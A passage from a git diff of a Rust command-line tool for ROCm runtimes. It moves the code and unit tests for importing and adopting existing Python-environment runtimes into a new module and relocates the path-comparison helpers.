python_executable.clone(), + Some(external_root.clone()), + None, + None, + None, + false, + &therock::RocmSdkPythonProbe { + rocm_sdk_version: Some("7.13.0a20260423".to_owned()), + resolved_target_family: Some("gfx120X-all".to_owned()), + ..therock::RocmSdkPythonProbe::default() + }, + )?; + + assert_eq!(request.python_executable, python_executable); + assert_eq!(request.install_root, external_root); + assert_eq!(request.runtime_id, "therock-release:gfx120X-all"); + assert_eq!( + request.runtime_key, + "adopted-release-pip-gfx120x-all-7-13-0a20260423" + ); + assert!(!request.replace); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_adopt_request_honors_nightly_channel() -> Result<()> { + let (root, _) = test_paths("runtime-adopt-infer-nightly"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + fs::create_dir_all(&scripts_dir)?; + fs::write(&python_executable, "python")?; + + let request = infer_adopt_runtime_request( + python_executable, + Some(external_root), + None, + None, + Some("nightly".to_owned()), + true, + &therock::RocmSdkPythonProbe { + rocm_sdk_version: Some("7.14.0a20260531".to_owned()), + default_target_family: Some("gfx1151".to_owned()), + ..therock::RocmSdkPythonProbe::default() + }, + )?; + + assert_eq!(request.runtime_id, "therock-nightly:gfx1151"); + assert_eq!( + request.runtime_key, + "adopted-nightly-pip-gfx1151-7-14-0a20260531" + ); + assert!(request.replace); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[cfg(unix)] + #[test] + fn runtime_adopt_preserves_venv_python_symlink_path() -> Result<()> { + use std::os::unix::fs::symlink; + + let (root, paths) = test_paths("runtime-adopt-python-symlink"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join("bin"); + let system_python = root.join("python3.12"); + let python_executable = scripts_dir.join("python"); + let sdk_root = external_root.join("rocm_sdk"); + let sdk_bin = sdk_root.join("bin"); + fs::create_dir_all(&scripts_dir)?; + fs::create_dir_all(&sdk_bin)?; + let amdhip = sdk_bin.join("libamdhip64.so"); + let hipblas = sdk_bin.join("libhipblas.so"); + fs::write(&system_python, "python")?; + fs::write(&amdhip, "amdhip")?; + fs::write(&hipblas, "hipblas")?; + symlink(&system_python, &python_executable)?; + + let adopted = adopt_runtime_from_probe( + &paths, + AdoptRuntimeRequest { + python_executable: python_executable.clone(), + install_root: external_root, + runtime_id: "therock-release:gfx120X-all".to_owned(), + runtime_key: "adopted-symlink-python".to_owned(), + replace: false, + }, + therock::RocmSdkPythonProbe { + import_ok: true, + rocm_sdk_version: Some("7.13.0".to_owned()), + root_path: Some(sdk_root.clone()), + bin_path: Some(sdk_bin.clone()), + runtime_roots: vec![sdk_root], + bin_paths: vec![sdk_bin.clone()], + library_paths: vec![sdk_bin], + resolved_libraries: vec![ + therock::RocmSdkLibraryProbe { + shortname: "amdhip64".to_owned(), + paths: vec![amdhip], + }, + therock::RocmSdkLibraryProbe { + shortname: "hipblas".to_owned(), + paths: vec![hipblas], + }, + ], + resolved_target_family: Some("gfx120X-all".to_owned()), + ..therock::RocmSdkPythonProbe::default() + }, + )?; + + assert_eq!( + adopted.python_executable.as_deref(), + Some(python_executable.as_path().to_string_lossy().as_ref()) + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_adopt_rejects_runtime_id_without_family() -> Result<()> { + let (root, paths) = test_paths("runtime-adopt-no-family"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + let sdk_root = external_root.join("rocm_sdk"); + let sdk_bin = sdk_root.join("bin"); + fs::create_dir_all(&scripts_dir)?; + fs::create_dir_all(&sdk_bin)?; + fs::write(&python_executable, "python")?; + + let error = adopt_runtime_from_probe( + &paths, + AdoptRuntimeRequest { + python_executable, + install_root: external_root, + runtime_id: "therock-release".to_owned(), + runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), + replace: false, + }, + therock::RocmSdkPythonProbe { + import_ok: true, + rocm_sdk_version: Some("7.13.0".to_owned()), + root_path: Some(sdk_root), + bin_path: Some(sdk_bin), + ..therock::RocmSdkPythonProbe::default() + }, + ) + .unwrap_err() + .to_string(); + + assert!(error.contains("must include a TheRock family suffix")); + assert!(!runtime_registry_dir(&paths).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_adopt_refuses_to_overwrite_without_replace() -> Result<()> { + let (root, paths) = test_paths("runtime-adopt-replace"); + let external_root = root.join("external-therock-venv"); + let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); + let python_executable = scripts_dir.join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + let sdk_root = external_root.join("rocm_sdk"); + let sdk_bin = sdk_root.join("bin"); + fs::create_dir_all(&scripts_dir)?; + fs::create_dir_all(&sdk_bin)?; + let amdhip = sdk_bin.join(if cfg!(windows) { + "amdhip64_7.dll" + } else { + "libamdhip64.so" + }); + let hipblas = sdk_bin.join(if cfg!(windows) { + "hipblas.dll" + } else { + "libhipblas.so" + }); + fs::write(&python_executable, "python")?; + fs::write(&amdhip, "amdhip")?; + fs::write(&hipblas, "hipblas")?; + + let probe = therock::RocmSdkPythonProbe { + import_ok: true, + rocm_sdk_version: Some("7.13.0".to_owned()), + root_path: Some(sdk_root.clone()), + bin_path: Some(sdk_bin.clone()), + runtime_roots: vec![sdk_root], + bin_paths: vec![sdk_bin.clone()], + library_paths: vec![sdk_bin], + resolved_libraries: vec![ + therock::RocmSdkLibraryProbe { + shortname: "amdhip64".to_owned(), + paths: vec![amdhip], + }, + therock::RocmSdkLibraryProbe { + shortname: "hipblas".to_owned(), + paths: vec![hipblas], + }, + ], + ..therock::RocmSdkPythonProbe::default() + }; + let request = AdoptRuntimeRequest { + python_executable: python_executable.clone(), + install_root: external_root.clone(), + runtime_id: "therock-release:gfx120X-all".to_owned(), + runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), + replace: false, + }; + + adopt_runtime_from_probe(&paths, request.clone(), probe.clone())?; + let error = adopt_runtime_from_probe(&paths, request, probe.clone()) + .unwrap_err() + .to_string(); + assert!(error.contains("already exists")); + + adopt_runtime_from_probe( + &paths, + AdoptRuntimeRequest { + python_executable, + install_root: external_root, + runtime_id: "therock-release:gfx120X-all".to_owned(), + runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), + replace: true, + }, + probe, + )?; + + let _ = fs::remove_dir_all(root); + Ok(()) + } +} diff --git a/apps/rocm/src/runtime_registry.rs b/apps/rocm/src/runtime_registry.rs index 12c31d088d..79ace5e3ef 100644 --- a/apps/rocm/src/runtime_registry.rs +++ b/apps/rocm/src/runtime_registry.rs @@ -10,11 +10,13 @@ //! This is a crate-level module that depends on neither `therock` (which writes //! manifests when it installs a runtime) nor `runtimes_cmd` (which lists and //! activates them); both build on it. `runtimes_cmd` re-exports the selection -//! and path-helper names that other modules import from it, but it still -//! reaches the manifest model (the manifest and probe types and the loaders) -//! through `therock`'s re-exports, along with a few `therock` helpers. So -//! `runtimes_cmd` depends on `therock`, while `therock` no longer depends on -//! `runtimes_cmd` in production code. The serde shape of +//! and path-helper names that other modules import from it, but it and +//! `runtime_adopt` still reach the manifest model (the manifest and probe types +//! and the loaders) through `therock`'s re-exports, along with a few `therock` +//! helpers. So `runtimes_cmd` depends on `therock`, while `therock` no longer +//! depends on `runtimes_cmd` in production code. It also holds +//! `paths_equivalent` and `normalize_path_for_compare`, which adopt and +//! uninstall both need. The serde shape of //! [`InstalledRuntimeManifest`] and its probe structs is the on-disk contract of //! the registry files and of each install's `.rocm-cli-runtime.json`. @@ -642,6 +644,22 @@ fn runtime_install_root_has_payload(path: &Path) -> Result { Ok(false) } +pub(crate) fn paths_equivalent(left: &Path, right: &Path) -> bool { + let left = normalize_path_for_compare(left); + let right = normalize_path_for_compare(right); + rocm_core::runtime_paths_equivalent(&left, &right) +} + +pub(crate) fn normalize_path_for_compare(path: &Path) -> PathBuf { + if let Ok(canonical) = path.canonicalize() { + return canonical; + } + if path.is_absolute() { + return path.to_path_buf(); + } + std::env::current_dir().map_or_else(|_| path.to_path_buf(), |cwd| cwd.join(path)) +} + #[cfg(test)] mod tests { use super::*; diff --git a/apps/rocm/src/runtimes_cmd.rs b/apps/rocm/src/runtimes_cmd.rs index d5a97fe83a..7034013e6e 100644 --- a/apps/rocm/src/runtimes_cmd.rs +++ b/apps/rocm/src/runtimes_cmd.rs @@ -2,9 +2,10 @@ // // SPDX-License-Identifier: MIT -//! `rocm runtimes` command: activate/rollback/uninstall/import/adopt, and -//! the runtime list rendering. Registry selection and manifest validation -//! live in `runtime_registry.rs`; the names other modules import from here +//! `rocm runtimes` command: its dispatch, activate/rollback/uninstall, and +//! the runtime list rendering. Import and adopt (and recovering the runtime +//! `rocm setup` created) live in `runtime_adopt.rs`. Registry selection and +//! manifest validation live in `runtime_registry.rs`; the names other modules import from here //! (`current_runtime_manifest`, `select_runtime_manifest`, //! `validate_runtime_manifest_for_activation`, `runtime_usability_status`, //! and the registry path helpers) are re-exported from this module. @@ -19,10 +20,12 @@ //! `ActiveRuntimeMarker` stay `pub(crate)`: the former is read by //! `append_update_activate_summary` in `update_cmd.rs`'s //! `apply_runtime_update` flow, the latter by `storage.rs`. -//! `normalize_path_for_compare`, `recover_setup_runtime_registration`, -//! `active_runtime_marker_path`, and `should_remove_runtime_install_root` are -//! also `pub(crate)` and read from `engines_cmd.rs`, `storage.rs`, and -//! `comfyui.rs`. The SDK-install-finalization/torch-alignment/dependency bundle +//! `active_runtime_marker_path` and `should_remove_runtime_install_root` are +//! also `pub(crate)` and read from `storage.rs` and `main.rs`. +//! `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` +//! and `setup_runtime_paths` (from `runtime_adopt.rs`) and +//! `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported +//! from here for the modules that import them from this one. The SDK-install-finalization/torch-alignment/dependency bundle //! (`finish_sdk_install` and friends) lives in the sibling //! `runtime_install_finalize.rs`, which calls into this module (for //! `activate_runtime`, `newest_installed_runtime_manifest` and @@ -34,16 +37,20 @@ use std::fs; use std::path::{Path, PathBuf}; use anyhow::{Context, Result, bail}; -use rocm_core::{ - AppPaths, RocmCliConfig, interactive_terminal, managed_pip_cache_dir, - runtime_install_root_is_protected, runtime_python_executable_in_env, -}; +use rocm_core::{AppPaths, RocmCliConfig, interactive_terminal, runtime_install_root_is_protected}; use serde::{Deserialize, Serialize}; +use crate::runtime_adopt::{ + AdoptRuntimeOptions, adopt_runtime_from_python_options, import_runtime_manifest, +}; +pub(crate) use crate::runtime_adopt::{ + newest_installed_runtime_manifest, recover_setup_runtime_registration, setup_runtime_paths, +}; +use crate::runtime_registry::paths_equivalent; pub(crate) use crate::runtime_registry::{ - current_runtime_manifest, default_runtime_id_matches, runtime_keys_text, runtime_manifest_path, - runtime_registry_dir, runtime_usability_status, select_runtime_manifest, - validate_runtime_manifest_for_activation, + current_runtime_manifest, default_runtime_id_matches, normalize_path_for_compare, + runtime_keys_text, runtime_manifest_path, runtime_registry_dir, runtime_usability_status, + select_runtime_manifest, validate_runtime_manifest_for_activation, }; use crate::therock; use crate::uninstall_plan::confirm_uninstall; @@ -1161,446 +1168,6 @@ fn active_runtime_marker_matches(paths: &AppPaths, runtime_key: &str) -> Result< Ok(marker.runtime_key.eq_ignore_ascii_case(runtime_key)) } -fn paths_equivalent(left: &Path, right: &Path) -> bool { - let left = normalize_path_for_compare(left); - let right = normalize_path_for_compare(right); - rocm_core::runtime_paths_equivalent(&left, &right) -} - -pub(crate) fn normalize_path_for_compare(path: &Path) -> PathBuf { - if let Ok(canonical) = path.canonicalize() { - return canonical; - } - if path.is_absolute() { - return path.to_path_buf(); - } - std::env::current_dir().map_or_else(|_| path.to_path_buf(), |cwd| cwd.join(path)) -} - -fn import_runtime_manifest( - paths: &AppPaths, - manifest_path: &Path, - replace: bool, -) -> Result { - let bytes = fs::read(manifest_path) - .with_context(|| format!("failed to read {}", manifest_path.display()))?; - let mut manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", manifest_path.display()))?; - if manifest.runtime_key.trim().is_empty() { - bail!( - "runtime manifest {} has an empty runtime_key", - manifest_path.display() - ); - } - if manifest.runtime_id.trim().is_empty() { - bail!( - "runtime manifest {} has an empty runtime_id", - manifest_path.display() - ); - } - - manifest.read_only = true; - manifest.imported_from = Some( - manifest_path - .canonicalize() - .unwrap_or_else(|_| manifest_path.to_path_buf()), - ); - validate_runtime_manifest_for_activation(&manifest) - .with_context(|| format!("imported runtime `{}` is not usable", manifest.runtime_key))?; - - write_runtime_registry_manifest(paths, &manifest, replace)?; - - Ok(manifest) -} - -pub(crate) fn newest_installed_runtime_manifest( - paths: &AppPaths, -) -> Result> { - // `load_runtime_manifests` already returns newest install first with ties - // broken on the runtime key, so re-sorting here would be a no-op. - Ok(therock::load_runtime_manifests(paths)?.into_iter().next()) -} - -#[derive(Debug, Clone)] -struct AdoptRuntimeRequest { - python_executable: PathBuf, - install_root: PathBuf, - runtime_id: String, - runtime_key: String, - replace: bool, -} - -#[derive(Debug, Clone)] -struct AdoptRuntimeOptions { - python_input: PathBuf, - install_root: Option, - runtime_id: Option, - runtime_key: Option, - channel: Option, - replace: bool, -} - -fn adopt_runtime_from_python_options( - paths: &AppPaths, - options: AdoptRuntimeOptions, -) -> Result { - let (python_executable, inferred_root) = resolve_adopt_python_input(&options.python_input)?; - let probe = therock::probe_rocm_sdk_runtime(&python_executable) - .with_context(|| format!("failed to probe {}", python_executable.display()))?; - let request = infer_adopt_runtime_request( - python_executable, - options.install_root.or(inferred_root), - options.runtime_id, - options.runtime_key, - options.channel, - options.replace, - &probe, - )?; - adopt_runtime_from_probe(paths, request, probe) -} - -fn infer_adopt_runtime_request( - python_executable: PathBuf, - install_root: Option, - runtime_id: Option, - runtime_key: Option, - channel: Option, - replace: bool, - probe: &therock::RocmSdkPythonProbe, -) -> Result { - let install_root = install_root.with_context(|| { - format!( - "could not infer the Python environment folder from {}; pass --root", - python_executable.display() - ) - })?; - let runtime_id = match runtime_id { - Some(value) if !value.trim().is_empty() => { - if let Some(channel) = channel.as_deref() { - let (parsed_channel, _) = parse_therock_runtime_id(&value)?; - let requested_channel = normalize_adopt_channel(channel)?; - if parsed_channel != requested_channel { - bail!( - "--channel {requested_channel} does not match runtime id channel {parsed_channel}" - ); - } - } - value - } - Some(_) => bail!("runtime_id must not be empty"), - None => { - let channel = normalize_adopt_channel(channel.as_deref().unwrap_or("release"))?; - let family = probe - .resolved_target_family - .as_deref() - .or(probe.default_target_family.as_deref()) - .filter(|value| !value.trim().is_empty()) - .context( - "rocm_sdk probe did not report a GPU package; pass --runtime-id explicitly", - )?; - format!("therock-{channel}:{family}") - } - }; - let runtime_key = match runtime_key { - Some(value) if !value.trim().is_empty() => value, - Some(_) => bail!("runtime_key must not be empty"), - None => { - let (channel, family) = parse_therock_runtime_id(&runtime_id)?; - let version = probe - .rocm_sdk_version - .as_deref() - .filter(|value| !value.trim().is_empty()) - .context("rocm_sdk probe did not report a version; cannot name adopted runtime")?; - format!( - "adopted-{channel}-pip-{}-{}", - runtime_key_component(&family), - runtime_key_component(version) - ) - } - }; - Ok(AdoptRuntimeRequest { - python_executable, - install_root, - runtime_id, - runtime_key, - replace, - }) -} - -fn normalize_adopt_channel(channel: &str) -> Result { - match channel.trim().to_ascii_lowercase().as_str() { - "release" => Ok("release".to_owned()), - "nightly" => Ok("nightly".to_owned()), - other => bail!("adopt channel must be release or nightly, got `{other}`"), - } -} - -fn runtime_key_component(value: &str) -> String { - let mut output = String::new(); - let mut last_dash = false; - for ch in value.chars() { - if ch.is_ascii_alphanumeric() { - output.push(ch.to_ascii_lowercase()); - last_dash = false; - } else if !last_dash { - output.push('-'); - last_dash = true; - } - } - let trimmed = output.trim_matches('-').to_owned(); - if trimmed.is_empty() { - "runtime".to_owned() - } else { - trimmed - } -} - -fn resolve_adopt_python_input(input: &Path) -> Result<(PathBuf, Option)> { - let absolute = if input.is_absolute() { - input.to_path_buf() - } else { - std::env::current_dir() - .context("failed to resolve current directory")? - .join(input) - }; - if absolute.is_dir() { - let env_root = absolute.canonicalize().with_context(|| { - format!( - "failed to resolve Python environment folder {}", - absolute.display() - ) - })?; - let python = runtime_python_executable_in_env(&env_root); - if !python.is_file() { - bail!( - "Python executable is missing in {}", - python.parent().unwrap_or(env_root.as_path()).display() - ); - } - return Ok((python, Some(env_root))); - } - if absolute.is_file() { - let inferred_root = infer_python_env_root(&absolute); - return Ok((absolute, inferred_root)); - } - bail!( - "Python executable or folder is missing: {}", - absolute.display() - ); -} - -fn infer_python_env_root(python_executable: &Path) -> Option { - let bin_dir = python_executable.parent()?; - let bin_name = bin_dir.file_name()?.to_string_lossy(); - if bin_name.eq_ignore_ascii_case("Scripts") || bin_name == "bin" { - return bin_dir.parent().map(Path::to_path_buf); - } - bin_dir.parent().map(Path::to_path_buf) -} - -fn adopt_runtime_from_probe( - paths: &AppPaths, - request: AdoptRuntimeRequest, - probe: therock::RocmSdkPythonProbe, -) -> Result { - if request.runtime_key.trim().is_empty() { - bail!("runtime_key must not be empty"); - } - if request.runtime_id.trim().is_empty() { - bail!("runtime_id must not be empty"); - } - let python_executable = absolute_existing_file_path_preserving_symlink( - &request.python_executable, - "runtime Python executable", - )?; - let install_root = request.install_root.canonicalize().with_context(|| { - format!( - "runtime install root is missing: {}", - request.install_root.display() - ) - })?; - if !install_root.is_dir() { - bail!( - "runtime install root is missing: {}", - install_root.display() - ); - } - let (channel, family) = parse_therock_runtime_id(&request.runtime_id)?; - therock::validate_rocm_sdk_runtime_probe(&probe)?; - let version = probe - .rocm_sdk_version - .as_deref() - .filter(|value| !value.trim().is_empty()) - .context("rocm_sdk probe did not report a version; cannot adopt runtime explicitly")? - .to_owned(); - - let manifest = therock::InstalledRuntimeManifest { - runtime_key: request.runtime_key, - runtime_id: request.runtime_id, - channel, - format: "wheel".to_owned(), - family, - family_source: "runtime_id".to_owned(), - version, - install_root: install_root.clone(), - selected_artifact_url: "adopted-read-only".to_owned(), - source_layout_generation: None, - index_url: None, - tarball_file_name: None, - python_launcher: None, - python_executable: Some(python_executable.display().to_string()), - pip_cache_dir: None, - // The probe only reports a CMake path when the `devel` packages are - // present, so it tells us what this pre-existing environment has. - devel: probe.cmake_path.is_some(), - rocm_sdk: Some(probe), - // Adoption does not install torch, so the build is derived from the SDK - // version instead. - sdk_torch: None, - wheel_composition: None, - read_only: true, - imported_from: Some(install_root), - installed_at_unix_ms: rocm_core::unix_time_millis(), - }; - validate_runtime_manifest_for_activation(&manifest) - .with_context(|| format!("adopted runtime `{}` is not usable", manifest.runtime_key))?; - write_runtime_registry_manifest(paths, &manifest, request.replace)?; - Ok(manifest) -} - -fn absolute_existing_file_path_preserving_symlink(path: &Path, label: &str) -> Result { - let absolute = if path.is_absolute() { - path.to_path_buf() - } else { - std::env::current_dir() - .context("failed to resolve current directory")? - .join(path) - }; - if !absolute.is_file() { - bail!("{label} is missing: {}", absolute.display()); - } - Ok(absolute) -} - -fn parse_therock_runtime_id(runtime_id: &str) -> Result<(String, String)> { - let (prefix, family) = runtime_id.split_once(':').with_context(|| { - format!("runtime_id `{runtime_id}` must include a TheRock family suffix after ':'") - })?; - let family = family.trim(); - if family.is_empty() { - bail!("runtime_id `{runtime_id}` has an empty TheRock family suffix"); - } - let channel = match prefix.trim() { - "therock-release" => "release", - "therock-nightly" => "nightly", - other => bail!( - "runtime_id `{runtime_id}` must start with therock-release: or therock-nightly:, got `{other}`" - ), - }; - Ok((channel.to_owned(), family.to_owned())) -} - -fn write_runtime_registry_manifest( - paths: &AppPaths, - manifest: &therock::InstalledRuntimeManifest, - replace: bool, -) -> Result<()> { - let manifest = manifest.clone().normalize_storage_paths(); - let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); - if registry_path.exists() && !replace { - bail!( - "runtime registry entry already exists: {}; pass --replace to overwrite it", - registry_path.display() - ); - } - fs::create_dir_all( - registry_path - .parent() - .context("runtime registry path has no parent directory")?, - )?; - fs::write( - ®istry_path, - serde_json::to_vec_pretty(&manifest) - .context("failed to serialize runtime registry manifest")?, - ) - .with_context(|| format!("failed to write {}", registry_path.display()))?; - Ok(()) -} - -pub(crate) fn recover_setup_runtime_registration( - paths: &AppPaths, - config: &RocmCliConfig, -) -> Result> { - let Some(setup_root) = config - .setup - .therock_venv - .as_deref() - .filter(|path| !path.as_os_str().is_empty()) - else { - return Ok(None); - }; - if !setup_root.is_dir() { - return Ok(None); - } - - let local_manifest_path = setup_root.join(".rocm-cli-runtime.json"); - if !local_manifest_path.is_file() { - return Ok(None); - } - - let bytes = fs::read(&local_manifest_path) - .with_context(|| format!("failed to read {}", local_manifest_path.display()))?; - let manifest: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) - .with_context(|| format!("failed to parse {}", local_manifest_path.display()))?; - if manifest.runtime_key.trim().is_empty() { - bail!( - "setup runtime manifest {} has an empty runtime_key", - local_manifest_path.display() - ); - } - if !paths_equivalent(&manifest.install_root, setup_root) { - bail!( - "setup runtime manifest {} points at {}, but setup is configured for {}", - local_manifest_path.display(), - manifest.install_root.display(), - setup_root.display() - ); - } - validate_runtime_manifest_for_activation(&manifest).with_context(|| { - format!( - "setup runtime `{}` from {} is not usable", - manifest.runtime_key, - local_manifest_path.display() - ) - })?; - - if !runtime_manifest_path(paths, &manifest.runtime_key).is_file() { - write_runtime_registry_manifest(paths, &manifest, false).with_context(|| { - format!( - "failed to restore setup runtime `{}` into {}", - manifest.runtime_key, - runtime_registry_dir(paths).display() - ) - })?; - } - Ok(Some(manifest.runtime_key)) -} - -/// The folder setup was configured for and its pip cache — the pair both -/// `examine` forms report. Shared so the two cannot name different folders. -/// -/// An empty configured path counts as unset, matching -/// `recover_setup_runtime_registration`'s own guard: `config.json` is -/// hand-editable, and `managed_pip_cache_dir("")` is a bogus relative path. -pub(crate) fn setup_runtime_paths(config: &RocmCliConfig) -> Option<(&Path, PathBuf)> { - let root = config - .setup - .therock_venv - .as_deref() - .filter(|path| !path.as_os_str().is_empty())?; - Some((root, managed_pip_cache_dir(root))) -} - /// How the CLI names the toolchain state of a runtime. /// /// `rocm runtimes list` reports it per runtime and `rocm examine` reports it @@ -1648,6 +1215,7 @@ pub(crate) mod tests { use super::*; use crate::append_examine_runtime_state; use crate::engine_runtime_select::resolve_runtime_selector_to_exact_key; + use crate::runtime_adopt::{AdoptRuntimeRequest, adopt_runtime_from_probe}; use crate::runtime_install_finalize::{ finalize_successful_sdk_install, render_sdk_install_success, }; @@ -3084,30 +2652,6 @@ pub(crate) mod tests { Ok(()) } - #[test] - fn runtime_import_refuses_to_overwrite_without_replace() -> Result<()> { - let (root, paths) = test_paths("runtime-import-replace"); - let manifest = write_test_pip_runtime( - &paths, - "external-pip-gfx120x-all-7-13-0", - "therock-release:gfx120X-all", - "7.13.0", - 20, - )?; - let exported_manifest = root.join("external-runtime.json"); - fs::write(&exported_manifest, serde_json::to_vec_pretty(&manifest)?)?; - - let error = import_runtime_manifest(&paths, &exported_manifest, false) - .unwrap_err() - .to_string(); - - assert!(error.contains("already exists")); - import_runtime_manifest(&paths, &exported_manifest, true)?; - - let _ = fs::remove_dir_all(root); - Ok(()) - } - #[test] fn runtime_adopt_records_read_only_manifest_from_probe() -> Result<()> { let (root, paths) = test_paths("runtime-adopt"); @@ -3204,162 +2748,6 @@ pub(crate) mod tests { Ok(()) } - /// The other half of the same derivation: an adopted environment that does - /// expose a CMake path has the toolchain, and the manifest must say so or - /// the next `rocm update` would quietly reinstall without it. - #[test] - fn runtime_adopt_records_devel_when_the_probe_finds_cmake() -> Result<()> { - let (root, paths) = test_paths("runtime-adopt-devel"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - let sdk_root = external_root - .join("Lib") - .join("site-packages") - .join("rocm_sdk"); - let sdk_bin = sdk_root.join("bin"); - let cmake_path = sdk_root.join("lib").join("cmake"); - fs::create_dir_all(&scripts_dir)?; - fs::create_dir_all(&sdk_bin)?; - fs::create_dir_all(&cmake_path)?; - let amdhip = sdk_bin.join(if cfg!(windows) { - "amdhip64_7.dll" - } else { - "libamdhip64.so" - }); - let hipblas = sdk_bin.join(if cfg!(windows) { - "hipblas.dll" - } else { - "libhipblas.so" - }); - fs::write(&python_executable, "python")?; - fs::write(&amdhip, "amdhip")?; - fs::write(&hipblas, "hipblas")?; - - let adopted = adopt_runtime_from_probe( - &paths, - AdoptRuntimeRequest { - python_executable, - install_root: external_root, - runtime_id: "therock-release:gfx120X-all".to_owned(), - runtime_key: "adopted-release-pip-gfx120x-all-7-13-0".to_owned(), - replace: false, - }, - therock::RocmSdkPythonProbe { - import_ok: true, - rocm_sdk_version: Some("7.13.0".to_owned()), - root_path: Some(sdk_root.clone()), - bin_path: Some(sdk_bin.clone()), - cmake_path: Some(cmake_path), - runtime_roots: vec![sdk_root], - bin_paths: vec![sdk_bin.clone()], - library_paths: vec![sdk_bin], - resolved_libraries: vec![ - therock::RocmSdkLibraryProbe { - shortname: "amdhip64".to_owned(), - paths: vec![amdhip], - }, - therock::RocmSdkLibraryProbe { - shortname: "hipblas".to_owned(), - paths: vec![hipblas], - }, - ], - resolved_target_family: Some("gfx120X-all".to_owned()), - ..therock::RocmSdkPythonProbe::default() - }, - )?; - - assert!( - adopted.devel, - "a probe reporting a CMake path must record the toolchain" - ); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_adopt_request_infers_ids_from_probe() -> Result<()> { - let (root, _) = test_paths("runtime-adopt-infer"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - fs::create_dir_all(&scripts_dir)?; - fs::write(&python_executable, "python")?; - - let request = infer_adopt_runtime_request( - python_executable.clone(), - Some(external_root.clone()), - None, - None, - None, - false, - &therock::RocmSdkPythonProbe { - rocm_sdk_version: Some("7.13.0a20260423".to_owned()), - resolved_target_family: Some("gfx120X-all".to_owned()), - ..therock::RocmSdkPythonProbe::default() - }, - )?; - - assert_eq!(request.python_executable, python_executable); - assert_eq!(request.install_root, external_root); - assert_eq!(request.runtime_id, "therock-release:gfx120X-all"); - assert_eq!( - request.runtime_key, - "adopted-release-pip-gfx120x-all-7-13-0a20260423" - ); - assert!(!request.replace); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - - #[test] - fn runtime_adopt_request_honors_nightly_channel() -> Result<()> { - let (root, _) = test_paths("runtime-adopt-infer-nightly"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join(if cfg!(windows) { "Scripts" } else { "bin" }); - let python_executable = scripts_dir.join(if cfg!(windows) { - "python.exe" - } else { - "python" - }); - fs::create_dir_all(&scripts_dir)?; - fs::write(&python_executable, "python")?; - - let request = infer_adopt_runtime_request( - python_executable, - Some(external_root), - None, - None, - Some("nightly".to_owned()), - true, - &therock::RocmSdkPythonProbe { - rocm_sdk_version: Some("7.14.0a20260531".to_owned()), - default_target_family: Some("gfx1151".to_owned()), - ..therock::RocmSdkPythonProbe::default() - }, - )?; - - assert_eq!(request.runtime_id, "therock-nightly:gfx1151"); - assert_eq!( - request.runtime_key, - "adopted-nightly-pip-gfx1151-7-14-0a20260531" - ); - assert!(request.replace); - - let _ = fs::remove_dir_all(root); - Ok(()) - } - #[test] fn runtime_uninstall_removes_managed_root_and_clears_active_state() -> Result<()> { let (root, paths) = test_paths("runtime-uninstall-managed"); @@ -3924,187 +3312,4 @@ pub(crate) mod tests { let _ = fs::remove_dir_all(root); Ok(()) } - - #[cfg(unix)] - #[test] - fn runtime_adopt_preserves_venv_python_symlink_path() -> Result<()> { - use std::os::unix::fs::symlink; - - let (root, paths) = test_paths("runtime-adopt-python-symlink"); - let external_root = root.join("external-therock-venv"); - let scripts_dir = external_root.join("bin"); - let system_python = root.join("python3.12"); - let python_executable = scripts_dir.join("python"); - let sdk_root = external_root.join("rocm_sdk"); - let sdk_bin = sdk_root.join("bin"); - fs::create_dir_all(&scripts_dir)?; - fs::create_dir_all(&sdk_bin)?; - let amdhip = sdk_bin.join("libamdhip64.so"); - let hipblas = sdk_bin.join("libhipblas.so"); - fs::write(&system_python, "python")?; - fs::write(&amdhip, "amdhip")?; - fs::write(&hipblas, "hipblas")?; - symlink(&system_python, &python_executable)?; - - let adopted = adopt_runtime_from_probe( - &paths, - AdoptRuntimeRequest { - python_executable: python_executable.clone(), - install_root: external_root, - runtime_id: "therock-release:gfx120X-all".to_owned(), - runtime_key: "adopted-symlink-python".to_owned(), - replace: false, - }, - therock::RocmSdkPythonProbe { - import_ok: true, - rocm_sdk_version: Some("7.13.0".to_owned()), - root_path: Some(sdk_root.clone()), - bin_path: Some(sdk_bin.clone()), - runtime_roots: vec![sdk_root], - bin_paths: vec![sdk_bin.clone()], - library_paths: vec![sdk_bin], - resolved_libraries: vec![ - therock::RocmSdkLibraryProbe { - shortname: "amdhip64".to_owned(), - paths: vec![amdhip], - }, - therock::RocmSdkLibraryProbe { - shortname: "hipblas".to_owned(), - paths: vec![hipblas], - }, - ], - resolved_target_family: Some("gfx120X-all".to_owned()), - ..therock::RocmSdkPythonProbe::default() - }, - )?; - - assert_eq!( - adopted.python_executable.as_deref(), - 